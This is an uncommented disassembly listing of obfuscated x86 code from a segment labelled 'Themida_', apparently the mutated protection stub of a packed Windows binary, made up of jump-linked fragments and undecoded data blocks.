		pop	ebp
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_555464
; ---------------------------------------------------------------------------
		dd 9C242CD2h, 0FEBA54E9h, 67F581FFh, 501B454Ah,	0FFA473E9h
		dd 0C1BE56FFh, 8163E67Bh, 0EC047BEEh, 5EEC130h,	8102E6C1h
		dd 964F8EE6h, 61E94655h
		db 0EFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56767B:				; CODE XREF: Themida_:0055ED12j
		mov	ecx, [esp]
		jmp	loc_562839
; ---------------------------------------------------------------------------

loc_567683:				; CODE XREF: Themida_:005609E6j
		add	esp, 4
		xor	ebp, 7390BD49h
		jmp	loc_564DD7
; ---------------------------------------------------------------------------
		dd 0D6D6E951h, 0D329FFFFh, 5124148Bh, 0C181E189h, 4, 4C181h
		dd 4DE90000h, 5DFFFF9Bh, 32E9F529h
		db 0DDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5676BB:				; CODE XREF: Themida_:0056008Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55B560
; ---------------------------------------------------------------------------
		dd 1CFBE952h, 0E281FFFFh, 6986DFCh, 240DF281h, 0E5E92EC4h
		dd 1FFFEDFh, 8B0303D3h,	0C483241Ch, 2FDAE904h, 0E9C3FFFFh
		dd 0FFFF73D9h, 8904EC83h, 28E92424h, 51FFFF51h,	0E92414F7h
		dd 0FFFF098Fh, 9C240CFFh, 0FEB994E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567711:				; CODE XREF: Themida_:0055F032j
		shr	edx, 1
		jmp	loc_55FF25
; ---------------------------------------------------------------------------
		dd 0E7C1CF87h, 38C4E907h, 875BFFFFh, 75E92434h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56772B:				; CODE XREF: Themida_:00556837j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	700Eh
		mov	[esp], ebx
		pop	ecx
		push	64E8h
		mov	[esp], ecx
		jmp	loc_5678E7
; ---------------------------------------------------------------------------
		db 0BDh
		dd 683D6E63h, 0ED81DDF7h, 55C310E8h, 4535E945h,	4BEFFFFh
		dd 81000000h, 9E3D27C5h, 81F5012Eh, 9E3D27EDh, 45E95E2Eh
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_567777:				; CODE XREF: Themida_:0055B887j
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		jmp	loc_5590A9
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 0BB2E924h,	815DFFFFh, 9362D8F1h, 3EFAE922h
		dd 77FFFFFFh, 11589D1Ch, 0E99C2404h, 0FFFEB8FDh, 331B68ADh
		dd 0C3E90000h, 0FFFFFF34h, 34FF2434h, 2434FF24h, 4C48158h
		dd 57000000h, 0B568h, 24248900h, 4240483h, 0B850565Fh
		dd 110F6731h, 0BF76EA2Dh, 913A355Bh, 8952D495h,	5AD689C2h
		dd 9B3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5677ED:				; CODE XREF: Themida_:00556A1Dj
		dec	esi
		add	esi, 0CAB5BC15h
		sub	edx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55B8D7
; ---------------------------------------------------------------------------
		dd 68241489h, 7218h, 24048F54h,	4240483h, 0E924148Bh, 0FFFF3B5Fh
		dd 4EC81h, 4CE90000h, 89FFFF95h, 6651243Ch, 681131B9h
		dd 64B9h, 66241489h, 502568BAh,	0E9D08966h, 0FFFFEA44h
; ---------------------------------------------------------------------------

loc_567844:				; CODE XREF: Themida_:0055611Aj
		add	esi, edx
		pop	edx
		push	edx
		mov	edx, 9374BD1Eh
		sub	esi, edx
		pop	edx
		add	ebp, esi
		pop	esi
		push	esi
		mov	esi, 4
		sub	ebp, 22715DC6h
		add	ebp, 1D483E98h
		jmp	loc_559130
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 241CD366h, 0B82BE99Ch, 34FFFFFEh,	2434FF24h
		dd 8324048Bh, 895704C4h, 0BD5552E7h, 18581296h,	0E902E5C1h
		dd 0FFFF93F3h, 582434FFh, 5904C483h, 249968h, 242C8900h
		dd 24BA6853h, 66E97998h, 81FFFEB8h, 4C1h, 4C18100h, 87000000h
		dd 49E9240Ch, 53FFFFF6h, 412DFC68h, 0E9435B0Eh,	0FFFF989Ah
		dd 0C581E589h, 4, 4C581h, 1DE90000h
		db 28h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5678E7:				; CODE XREF: Themida_:00567746j
		push	dword ptr [esp]
		jmp	loc_555749
; ---------------------------------------------------------------------------
		db 81h
		dd 924E3CF6h, 0C9C5E936h, 2C89FFFEh, 40F8BD24h,	6F296F47h
		dd 242C8B24h, 4C481h, 82680000h, 89000039h, 0BA2414h, 2B000000h
		dd 9B682457h, 8900002Fh, 0BF57241Ch, 5E562EE5h,	0F747DFF7h
		dd 41C781D7h, 89A1A9D1h, 0C3815FFBh, 13C3015Fh,	65DFC381h
		dd 0FB01647Ch, 65DFEB81h, 0BA52647Ch, 77CE622Eh, 60CFEA81h
		dd 0D329640Bh, 0FF7CF2E9h, 148B66FFh, 2C48324h,	0FF5AE9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56796D:				; CODE XREF: Themida_:0055F76Aj
		push	32F32565h
		pop	edi
		jmp	loc_5547A7
; ---------------------------------------------------------------------------

loc_567978:				; CODE XREF: Themida_:0056161Bj
		add	ebx, edx
		push	ebp
		mov	ebp, 23E165E9h
		jmp	loc_567610
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF3469E9h, 772235FFh, 0A405705Dh, 1F0EBBEh,	0C2E958C5h
		dd 83FFFFA5h, 148904ECh, 129AE924h, 3E680000h, 89000070h
		dd 0B1512414h, 0FED9F6FEh, 0C8E980C1h, 0A93FE950h, 0E95DFFFFh
		dd 0FFFF8F98h, 8B04C483h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 6751321Dh
		add	ebp, eax
		jmp	loc_555971
; ---------------------------------------------------------------------------

loc_5679EF:				; CODE XREF: Themida_:00566E90j
		pop	ebx
		xor	eax, esi
		pop	esi
		jmp	loc_5665E5
; ---------------------------------------------------------------------------

loc_5679F8:				; CODE XREF: Themida_:0055A9A6j
		add	ebx, 52FC4C18h
		jmp	loc_563982
; ---------------------------------------------------------------------------

loc_567A03:				; CODE XREF: Themida_:0055ABE3j
		and	ebp, 37E20353h
		add	ebp, 0EE9DFD02h
		add	edx, ebp
		jmp	loc_5534D2
; ---------------------------------------------------------------------------
		dw 0EB21h
		dd 0C907E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567A1E:				; CODE XREF: Themida_:00559D9Cj
		mov	edi, 4E9579D2h
		sub	ecx, edi
		pop	edi
		jmp	loc_55DA46
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 691668h,	24048900h, 4BE56h, 0F0890000h
		dd 8BC5015Eh, 0C4832404h, 4ED8104h, 87000000h, 895C242Ch
		dd 5954240Ch, 4EC81h, 2C890000h, 26D4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567A66:				; CODE XREF: Themida_:00554A50j
		mov	esi, 77646748h
		sub	esi, 77523746h
		xor	esi, 115CC9h
		dec	esi
		push	ecx
		mov	ecx, 6E60CD1h
		add	esi, ecx
		pop	ecx
		mov	edi, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		xor	edi, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	386Eh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_561DE5
; ---------------------------------------------------------------------------
		dd 208B68h, 241C8900h, 0BBh, 0E9D30100h, 0FFFF4E98h, 31240433h
		dd 0F5E92404h, 0C1FFFFD1h, 31E905EBh, 56FFFEF8h, 0E904EC83h
		dd 0FFFF63C8h
; ---------------------------------------------------------------------------

loc_567AE0:				; CODE XREF: Themida_:005682E1j
		push	dword ptr [esp]
		jmp	loc_5587ED
; ---------------------------------------------------------------------------
		dd 4C481h, 5AE90000h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567AF3:				; CODE XREF: Themida_:0055B56Bj
		push	dword ptr [esp+4]
		jmp	loc_560889
; ---------------------------------------------------------------------------
		dd 0B458E95Fh, 48BFFFFh, 0DE46824h, 14890000h, 6EE95424h
		dd 53FFFF57h, 0FE88CF88h, 0FF9DD7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567B1D:				; CODE XREF: Themida_:0055449Fj
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_558E19
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68100h, 87000000h, 535C2434h, 0FFC1F6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567B45:				; CODE XREF: Themida_:00560CECj
		pop	esi
		sub	esi, 1E13074Bh
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_560E52
; ---------------------------------------------------------------------------
		db 1
		dd 0BE565DE9h, 4, 0CBE9F129h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567B73:				; CODE XREF: Themida_:00565448j
		add	esp, 4
		or	ebp, 6F0A093Ch
		jmp	loc_5609D2
; ---------------------------------------------------------------------------

loc_567B84:				; CODE XREF: Themida_:00562448j
		pop	ax
		add	bl, al
		push	eax
		mov	al, 0ACh
		push	6D47h
		mov	[esp], edx
		mov	dh, 5Fh
		shr	dh, 8
		push	ecx
		mov	cl, 0F6h
		xor	cl, 0DEh
		or	dh, cl
		pop	ecx
		add	dh, 0DCh
		push	eax
		mov	al, 0FEh
		or	dh, al
		pop	eax
		push	ecx
		mov	ch, 20h
		jmp	loc_56408B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 311F6237h, 68240C8Bh, 77A5h,	89240489h, 405E0h, 4050000h
		dd 87000000h, 0A2E92404h, 0B9000008h, 3C760E0Eh, 0FF435AE9h
		dd 24248BFFh, 50241C89h, 88510DB0h, 0E9EB88C5h,	0FFFF0117h
		dd 57C4C781h, 34FF341Dh, 24148B24h
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55418A
; ---------------------------------------------------------------------------
		db 28h,	0E1h, 58h
		dd 8002C180h, 0C828B4E9h, 81D02859h, 4ECh, 24148900h, 0C32C3DB2h
		dd 0C304D000h, 0A68BE95Ah, 6AE9FFFFh, 0B8FFFEB4h, 12A043EDh
		dd 485AD031h, 934D2235h, 58C68929h, 6BF4BD55h, 51E91318h
		dd 80FFFEFFh, 0E7806BCFh, 0B0506674h, 66C728A4h, 5BF80858h
		dd 4EC81h, 1C890000h, 73B55124h, 33E9DDF6h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567C7B:				; CODE XREF: Themida_:0055EA5Ej
		or	edx, eax
		jmp	loc_55F02B
; ---------------------------------------------------------------------------

loc_567C82:				; CODE XREF: Themida_:005593F8j
		add	ebx, ebp
		add	ebx, 3DED57D5h
		jmp	loc_5642F7
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8702C283h, 0E95C2414h, 0FFFFA7E6h
; ---------------------------------------------------------------------------

loc_567C9C:				; CODE XREF: Themida_:0056337Dj
		dec	edx
		xor	edx, 107A7E4Fh
		mov	esi, edx
		pop	edx
		and	ebx, esi
		jmp	loc_5532B8
; ---------------------------------------------------------------------------
		db 5Ah,	33h, 34h
		dd 24343124h, 8B243433h, 25E92424h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567CBF:				; CODE XREF: Themida_:0055C582j
		mov	[esp], ebx
		push	ecx
		mov	ecx, 19683488h
		push	esi
		mov	esi, 1968348Ch
		mov	ebx, esi
		pop	esi
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 76944E44h
		add	ecx, ebx
		add	ecx, 76944E44h
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	5D58h
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_564596
; ---------------------------------------------------------------------------

loc_567D01:				; CODE XREF: Themida_:00565C64j
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		push	ebx
		mov	ebx, 77A64530h
		jmp	loc_5575C3
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5F0424h, 0E95C2404h, 0FFFFDE48h, 1050BA52h, 0D7016E86h
		dd 0F7815A5Ah, 53D33BCAh, 50D3E781h, 515660DCh,	0D87EC1B9h
		dd 0A0C1811Fh, 51F665F2h, 3242C81h, 5E1AB032h, 3203C681h
		dd 1591AB0h, 0E9575EF7h, 0FFFFBA39h, 0E9240C89h, 0FFFEB341h
		dd 0B5240C89h, 19F580F5h, 0CDFEDDF6h, 0AFF580h,	0D82859E8h
		dd 0A1E9BC2Ch
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567D7F:				; CODE XREF: Themida_:005568B4j
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55404E
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 8BE8285Ch, 0E952240Ch, 0FFFF2F29h, 33E468h, 242C8900h
		dd 0C581E589h, 4, 3394B850h, 54046F0h, 4FC74DDDh, 0B87E940h
		dd 0E9580000h, 0FFFF5E2Ah, 5159CA01h, 4B9h, 8BCA0100h
		dd 0C483240Ch, 24148704h, 0E924248Bh, 0FFFF574Dh
; ---------------------------------------------------------------------------

loc_567DE4:				; CODE XREF: Themida_:0055D34Cj
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5530A5
; ---------------------------------------------------------------------------

loc_567E01:				; CODE XREF: Themida_:005543EFj
		mov	edi, esp
		jmp	loc_55C5D0
; ---------------------------------------------------------------------------
		dd 5EF2015Fh, 8B241487h, 57532424h, 54F9B850h, 0C7894013h
		dd 0FF9C56E9h, 2C6850FFh, 89000043h, 0ABBF243Ch, 81757C04h
		dd 381A79CFh, 81D7F700h, 0F14B67EFh, 814F472Fh,	6D6A65C7h
		dd 5FF889A5h, 34FFC101h, 1B1E924h, 0DE2D0000h, 2D1A2F41h
		dd 415751C5h, 24348B5Eh, 13EDE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567E66:				; CODE XREF: Themida_:0055F09Cj
		sub	edx, 0E9331C99h
		add	ebx, edx
		pop	edx
		add	ebx, esi
		sub	ebx, 45EA3B6Fh
		jmp	loc_561BEB
; ---------------------------------------------------------------------------
		dd 4EC8153h, 89000000h,	0D6B62414h, 0FEDBCFE9h,	4E6C1FFh
		dd 275CEE81h, 0E72DE874h, 0E93BBA1Dh, 0FFFFB4ACh
; ---------------------------------------------------------------------------

loc_567EA0:				; CODE XREF: Themida_:0055E1DCj
		push	5A2Eh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5583C7
; ---------------------------------------------------------------------------
		db 66h
		dd 667808B8h, 2F83E940h, 0E95FFFFFh, 0FFFEEEE4h, 9EE9CD29h
		dd 56000007h, 0B93DDCBEh, 2E6C15Dh, 540DC681h, 0E8E9A3E6h
		dd 81FFFF87h, 0FC18A7F2h, 6EAC169h, 0FF59B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567EED:				; CODE XREF: Themida_:005547E9j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	74B5h
		mov	[esp], eax
		mov	eax, 70F90C0Fh
		push	ebp
		mov	ebp, 78DD55D0h
		dec	ebp
		xor	ebp, 73F827BAh
		neg	ebp
		add	ebp, 65EB6994h
		push	ebx
		jmp	loc_553ED1
; ---------------------------------------------------------------------------

loc_567F1F:				; CODE XREF: Themida_:00565A3Dj
		xchg	edx, [esp]
		jmp	loc_55C9D6
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0DBB5356h, 0E9138978h, 0FFFF6F20h
; ---------------------------------------------------------------------------

loc_567F34:				; CODE XREF: Themida_:00562893j
		mov	ebp, 40871B8Fh
		add	edx, ebp
		pop	ebp
		pop	edi
		sub	edx, eax
		jmp	loc_565B2A
; ---------------------------------------------------------------------------
		dd 5C240C87h, 8104C483h, 0BC47A6EAh, 0E9D7010Eh, 0FFFF8678h
		dd 240C8B66h, 0FF24C4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567F61:				; CODE XREF: Themida_:00563524j
		pop	edi
		jmp	loc_56494E
; ---------------------------------------------------------------------------

loc_567F67:				; CODE XREF: Themida_:0055B4E9j
		add	ebx, eax
		add	ebx, 5D9024A1h
		pop	eax
		pop	small word ptr [eax]
		jmp	loc_5530A5
; ---------------------------------------------------------------------------

loc_567F78:				; CODE XREF: Themida_:0055E272j
		pop	esi
		jmp	loc_55BEF0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89565B24h, 4C681E6h,	81000000h, 4C6h, 24348700h, 92C6815Ch
		dd 31279CE4h, 24348BF0h, 0FFFB43E9h, 240431FFh,	8B240433h
		dd 0C3812424h, 4, 4EB81h, 0AEE90000h, 89FFFF9Fh, 4812424h
		dd 424h, 240C8B00h, 5004C483h, 5260D1B8h, 26D4E925h, 0C181FFFFh
		dd 7DB91012h, 0FEEA3DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567FE5:				; CODE XREF: Themida_:00555049j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 564E6DF0h
		push	ecx
		push	eax
		push	edx
		mov	edx, 136E1C38h
		mov	eax, edx
		pop	edx
		jmp	loc_56749E
; ---------------------------------------------------------------------------
		db 58h
		dd 0DB43E953h, 0E952FFFFh, 0FFFF0321h
; ---------------------------------------------------------------------------

loc_568010:				; CODE XREF: Themida_:0055EF93j
		mov	bl, 47h
		jmp	loc_56693C
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E904C083h, 0FFFFA780h, 4C4815Dh, 52000000h,	2BAh, 5AD60100h
		dd 0E904EC83h, 0FFFFF94Dh, 0F81B5FBAh, 78BF5715h, 0E96C910Fh
		dd 0FFFF4682h, 0D0F6AE24h, 0C3881F2Ch, 0C2C38058h, 0EB80F328h
		dd 2434FFC2h, 8124148Bh, 4C4h, 61DDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56806A:				; CODE XREF: Themida_:0055541Dj
		add	ebp, ecx
		sub	ebp, 1DEA3A7Eh
		jmp	loc_55C459
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 78E90000h, 89FFFED4h, 63BB241Ch, 555AB33Bh
		dd 745C1CBDh, 27F5815Bh, 81327B22h, 4314EAC5h, 0D4A9E917h
		dd 8166FFFEh, 661C12EAh, 0C94EEA81h, 0E9D30166h, 0FFFF4721h
; ---------------------------------------------------------------------------

loc_5680B4:				; CODE XREF: Themida_:005653E1j
		mov	ecx, esp
		jmp	loc_560F34
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0C1E3E91Eh, 2C31FFFFh, 242C3324h, 8966645Ch,	0AFD3E902h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5680D2:				; CODE XREF: Themida_:0055BEF6j
		push	ebp
		jmp	loc_5688B6
; ---------------------------------------------------------------------------

loc_5680D8:				; CODE XREF: Themida_:00564C91j
		pop	esp
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_561D1E
; ---------------------------------------------------------------------------
		db 1
		dd 0A3281DAh, 5A775C3Dh, 2434FF5Bh, 0FF2434FFh,	51582434h
		dd 16E9E189h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568103:				; CODE XREF: Themida_:00563EF3j
		sub	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_568B50
; ---------------------------------------------------------------------------

loc_56811D:				; CODE XREF: Themida_:0055320Dj
		dec	ebx
		and	ebx, 6BC34607h
		jmp	loc_558B82
; ---------------------------------------------------------------------------
		db 5Ch,	5Ah, 33h
		dd 0BAE92434h, 5FFFF44h, 4, 8704C083h, 215C2404h, 34FF1C6Fh
		dd 89565D24h, 4C681E6h,	53000000h, 4BBh, 5BDE0100h, 6A4C68h
		dd 24348900h, 42474FFh,	0FF3702E9h, 5FF901FFh, 5F59CA29h
		dd 3302C283h, 14312414h, 0E50FE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56817E:				; CODE XREF: Themida_:00565333j
		mov	eax, ebx
		pop	ebx
		sub	ebx, eax
		jmp	loc_5620A9
; ---------------------------------------------------------------------------

loc_568188:				; CODE XREF: Themida_:0055CBCBj
		pop	edi
		mov	ebp, esi
		pop	esi
		jmp	loc_5605EA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C2414h, 0FFFEAF05h, 9BEE8158h, 81770A2Fh
		dd 851F45E6h, 5CC68101h, 81424879h, 0E40B91EEh,	0BE565029h
		dd 86E79CBh, 0E0C6814Eh, 89281202h, 0DEE95EF0h,	80FFFEDEh
		dd 885073F2h, 0C28852D0h, 585AD788h, 33FE685Ah,	14890000h
		dd 0C2C9E924h, 0B850FFFEh, 38FB5BFFh, 0E4355C0Dh, 5E0C11Ch
		dd 0FD966D2Dh, 0FDD1E982h, 0DDF7FFFEh, 2CC8BF57h, 51E93188h
		dd 51FFFF2Dh, 0FEED35E9h, 48B66FFh, 609F6824h, 14890000h
		dd 4EC8324h, 68242489h,	13A6h, 0BD242C89h, 4, 4246C01h
		dd 84E95A5Dh, 8BFFFFEAh, 0F7662424h, 0FF5451E9h, 0FDE92434h
		dd 0B7FFFF21h, 43EF809Ah, 0A4E9CFFEh, 1FFFF81h,	0F6815DEEh
		dd 8211096h, 0E95EF101h, 0FFFFC5FAh
; ---------------------------------------------------------------------------

loc_56826C:				; CODE XREF: Themida_:00557286j
		or	edx, 6BF5394Ah
		shr	edx, 6
		shl	edx, 5
		sub	edx, 709282B2h
		jmp	loc_563059
; ---------------------------------------------------------------------------
		db 5Dh
		dd 41A5E95Eh, 0C481FFFFh, 4, 6FE9C329h,	5BFFFFDCh, 2A066866h
		dd 24148966h, 0F6241486h, 241486D2h, 0E2805A66h, 3E2C0AFh
		dd 5166DAF6h, 0C2800AB5h, 0EAC2804Ch, 0EA80EA00h, 1E4C68EAh
		dd 0A6E90000h, 0BDFFFEF5h, 3CC75740h, 0FFF741E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5682D5:				; CODE XREF: Themida_:00556DE0j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, edi
		jmp	loc_567AE0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5AEEE904h, 0C9FEFFFFh, 0FE71B753h, 0D0E952CFh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5682FB:				; CODE XREF: Themida_:0055E5D7j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 0C440869h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 75445B88h
		and	eax, ecx
		pop	ecx
		jmp	loc_555FB4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$h½$',0
		align 2
		dw 0B2E9h
		dd 56FFFEFCh, 705C2DBEh, 2E6C116h, 0FEB310E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568339:				; CODE XREF: Themida_:0055B3B6j
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	eax, 5DC67B9Fh
		add	eax, edi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_568C04
; ---------------------------------------------------------------------------

loc_568361:				; CODE XREF: Themida_:00556FDAj
		add	esi, edx
		jmp	loc_55D2D3
; ---------------------------------------------------------------------------
		dd 4240481h, 5D000000h,	0FF18AEE9h, 64AB2DFFh, 85E904C3h
		dd 31FFFEE9h, 14332414h, 0D62CE924h, 0C0FEFFFFh, 2FE93334h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568393:				; CODE XREF: Themida_:0055659Dj
		add	ebx, 20982BBBh
		jmp	loc_55C211
; ---------------------------------------------------------------------------

loc_56839E:				; CODE XREF: Themida_:00560202j
		add	esi, 5C553F59h
		inc	esi
		neg	esi
		shr	esi, 7
		dec	esi
		jmp	loc_5598FC
; ---------------------------------------------------------------------------

loc_5683B0:				; CODE XREF: Themida_:005633E8j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 53DE5E27h
		push	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56000D
; ---------------------------------------------------------------------------

loc_5683D1:				; CODE XREF: Themida_:00566FE8j
		push	ecx
		mov	ecx, 753834BBh
		shl	ecx, 8
		inc	ecx
		dec	ecx
		not	ecx
		xor	ecx, 877D7387h
		add	ebp, 3EB92D18h
		add	ebp, ecx
		push	eax
		mov	eax, 315824E2h
		sub	eax, 0F29EF7CAh
		sub	ebp, eax
		pop	eax
		jmp	loc_561D46
; ---------------------------------------------------------------------------
		db 89h
		dd 814559CDh, 0DB5D50F5h, 5DEA212Dh, 1002F281h,	0D08920A1h
		dd 0FFB9BBE9h, 585450FFh, 776BBF57h, 0CF813977h, 2F7935DDh
		dd 8107E7C1h, 440084C7h, 0E9F80140h, 0FFFF5375h, 2C5835Ch
		dd 31242C33h, 2C33242Ch, 24248B24h, 0FF0554E9h,	0F6814EFFh
		dd 293350A8h, 555EF389h, 2B4B30BDh, 5DE82977h, 0BF57D801h
		dd 772B4B30h, 5B5FF801h, 0FF4E8DE9h, 241489FFh,	0FFCE34E9h
		dd 0C6815CFFh, 6152158h, 0EE81C601h, 6152158h, 610BEE81h
		dd 56520AF7h, 0D1A70BEh, 5EF28906h, 81FFEA83h, 3964F5C2h
		dd 1C2832Ah, 12D6850h, 48B2D89h, 4C48124h, 9000000h, 0F74258C2h
		dd 0B85042D2h, 44F91817h, 0FEFBA5E9h, 0F6C2FEFFh, 1CF280DAh
		dd 0FF9AC8E9h, 5D5455FFh, 0FF1E5BE9h, 4EB81FFh,	87000000h
		dd 895C241Ch, 0F5B9240Ch, 1775C03h, 5AA1E9CBh, 34FFFFFFh
		dd 0C4835D24h, 74FF5604h, 8F5E0424h, 248B2404h,	0C896624h
		dd 0AB97E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56850E:				; CODE XREF: Themida_:005643ECj
		pop	edi
		jmp	loc_55A3DB
; ---------------------------------------------------------------------------
		dd 240C8B66h, 34FF5453h, 0C4815B24h, 4,	4EC8156h, 89000000h
		dd 7EB82404h, 53224C47h, 0D35C47BBh, 3EBC14Ah, 0D0C3814Bh
		dd 316299EEh, 0B9255BD8h, 4818B515h, 0FF4633E9h, 0AB4FE9FFh
		dd 0EC81FFFEh, 4, 56242C89h, 1AE9E689h
		db 3, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_568567:				; CODE XREF: Themida_:005655A0j
		push	47C7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	ebp
		push	edx
		mov	edx, 62C841B1h
		or	edx, 1E185B79h
		dec	edx
		not	edx
		shr	edx, 6
		push	ecx
		push	edi
		mov	edi, 40522870h
		mov	ecx, 0AAE83320h
		sub	ecx, edi
		jmp	loc_563039
; ---------------------------------------------------------------------------

loc_5685A0:				; CODE XREF: Themida_:0055CBDCj
		push	3379h
		mov	[esp], esi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55A17D
; ---------------------------------------------------------------------------
		db 66h
		dd 34EEED81h, 0FF443CE9h, 0EC8353FFh, 0DC97E904h, 0E5C1FFFFh
		dd 854EE905h, 205FFFFh,	87000000h, 248B2404h, 0B30F6624h
		dd 0E99C2404h, 0FFFEAABDh
; ---------------------------------------------------------------------------

loc_5685E8:				; CODE XREF: Themida_:0055D704j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5553A8
; ---------------------------------------------------------------------------
		dw 0DE89h
		dd 4EEC15Bh, 0FF115FE9h, 0B4B951FFh, 176FB4Eh, 335B59CFh
		dd 0F9E9243Ch, 8BFFFF42h, 0C483242Ch, 6ED96804h, 0B5E90000h
		dd 0FFFFFF31h, 34FF2434h, 0EC815A24h, 4, 89241489h, 0DBE951E2h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56863B:				; CODE XREF: Themida_:00564840j
		sub	edi, 4F9E0188h
		jmp	loc_55DE18
; ---------------------------------------------------------------------------
		dw 0ECC0h
		dd 0C4F48008h, 5EE9h, 34875A00h, 24248B24h, 0E9240489h
		dd 0FFFEAA45h, 9C240CD2h, 0FEAA3CE9h, 2C3359FFh, 242C3124h
		dd 5C242C33h, 50241489h, 0AA27E99Ch, 0D801FFFEh, 7847BE56h
		dd 0E6C14D2Ch, 0B4F68103h, 2958B9AFh, 1C8B5EF0h, 432EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

